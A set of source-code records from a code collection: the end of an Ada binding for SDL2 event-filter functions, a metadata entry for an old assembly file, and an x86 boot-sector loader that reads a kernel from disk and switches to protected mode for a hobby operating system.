updated. This allows selective filtering of -- * dynamically arriving events. -- * -- * \warning Be very careful of what you do in the event filter function, as -- * it may run in a different thread! -- * -- * There is one caveat when dealing with the ::SDL_QuitEvent event type. The -- * event filter is only called when the window manager desires to close the -- * application window. If the event filter returns 1, then the window will -- * be closed, otherwise the window will remain open if possible. -- * -- * If the quit event is generated by an interrupt signal, it will bypass the -- * internal queue and be delivered to the application at the next event poll. -- procedure SDL_SetEventFilter (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:723 pragma Import (C, SDL_SetEventFilter, "SDL_SetEventFilter"); --* -- * Return the current event filter - can be used to "chain" filters. -- * If there is no event filter set, this function returns SDL_FALSE. -- function SDL_GetEventFilter (filter : System.Address; userdata : System.Address) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:730 pragma Import (C, SDL_GetEventFilter, "SDL_GetEventFilter"); --* -- * Add a function which is called when an event is added to the queue. -- procedure SDL_AddEventWatch (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:736 pragma Import (C, SDL_AddEventWatch, "SDL_AddEventWatch"); --* -- * Remove an event watch function added with SDL_AddEventWatch() -- procedure SDL_DelEventWatch (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:742 pragma Import (C, SDL_DelEventWatch, "SDL_DelEventWatch"); --* -- * Run the filter function on the current event queue, removing any -- * events for which the filter returns 0. -- procedure SDL_FilterEvents (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:749 pragma Import (C, SDL_FilterEvents, "SDL_FilterEvents"); -- @{ --* -- * This function allows you to set the state of processing certain events. -- * - If \c state is set to ::SDL_IGNORE, that event will be automatically -- * dropped from the event queue and will not be filtered. -- * - If \c state is set to ::SDL_ENABLE, that event will be processed -- * normally. -- * - If \c state is set to ::SDL_QUERY, SDL_EventState() will return the -- * current processing state of the specified event. -- function SDL_EventState (c_type : SDL_stdinc_h.Uint32; state : int) return SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:767 pragma Import (C, SDL_EventState, "SDL_EventState"); -- @} --* -- * This function allocates a set of user-defined events, and returns -- * the beginning event number for that set of events. -- * -- * If there aren't enough user-defined events left, this function -- * returns (Uint32)-1 -- function SDL_RegisterEvents (numevents : int) return SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:778 pragma Import (C, SDL_RegisterEvents, "SDL_RegisterEvents"); -- Ends C function definitions when using C++ -- vi: set ts=4 sw=4 expandtab: end SDL_events_h;
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Window.asm
prismotizm/gigaleak
0
17340
<reponame>prismotizm/gigaleak Name: Window.asm Type: file Size: 25851 Last-Modified: '1992-11-18T01:48:27Z' SHA-1: 96B695104427D18C422FADA947172E82F6DA7868 Description: null
src/bootloader_i386.asm
Quatroctus/Startaste
1
94443
; bootloader for Startaste OS. [BITS 16] [ORG 0x7C00] ; the kernel size may need to be ajusted to fit the size of whatever comes after. %define KERNEL_SIZE 4 %define KERNEL_OFFSET 0x200 bootloader: ; first load the kernel into memory, then enter protected mode, and jump to the kernel. mov bp, 0x9000 ; update the base and stack pointers. mov sp, bp .read_disk: ; read the disk mov bx, KERNEL_OFFSET ; set the offset. mov ax, 0x07C0 mov ds, ax mov es, ax mov dl, [BOOT_DRIVE] mov ah, 02h ; function: read sectors from drive mov al, KERNEL_SIZE ; sectors to read mov ch, 0x0 ; tracks mov cl, 0x2 ; sector number mov dh, 0x0 ; head mov dl, 0x80 ; drive int 0x13 ; if the disk doesn't load. then jump to printing an error. jc .error cmp al, KERNEL_SIZE ; compare to see if we read the expected amount of sectors. jne .error ; otherwise go to loading the gdt jmp load_gdt .error: mov si, ERROR_MSG mov ah, 01h ; function: get status of last drive operation. mov dl, 0x0 ; drive int 0x13 add [si], ah call print_string jmp $ ; now load the gdt, and jump to the kernel. load_gdt: cli ; disable interrupts. xor ax, ax mov ds, ax ; set data segment to 0 (used by lgdt) lgdt [gdt_descriptor] ; load the GDT descriptor mov eax, cr0 ; copy the contents of cr0 into eax or eax, 1 ; set bit 0 to 1 mov cr0, eax ; copy the contents of eax back into cr0 jmp 08h:protected_mode ; jump to code segment, offset protected_mode [BITS 32] ; We now need 32-bit instructions protected_mode: mov ax, 10h ; Save data segment identifyer mov ds, ax ; Move a valid data segment into the data segment register mov ss, ax ; Move a valid data segment into the stack segment register mov esp, 90000h ; Move the stack pointer to 90000h call enable_A20 jmp 08h:kernel_start_offset ERROR_MSG db "Error in booting.", 0 BOOT_DRIVE db 0 %include "utils/gdt.asm" %include "utils/print_string.asm" %include "utils/A20.asm" times 510-($-$$) db 0 ; Padding for the rest of boot sector minus 2 special chars dw 0xAA55 kernel_start_offset: ; all the kernel code is automaticly loaded after this.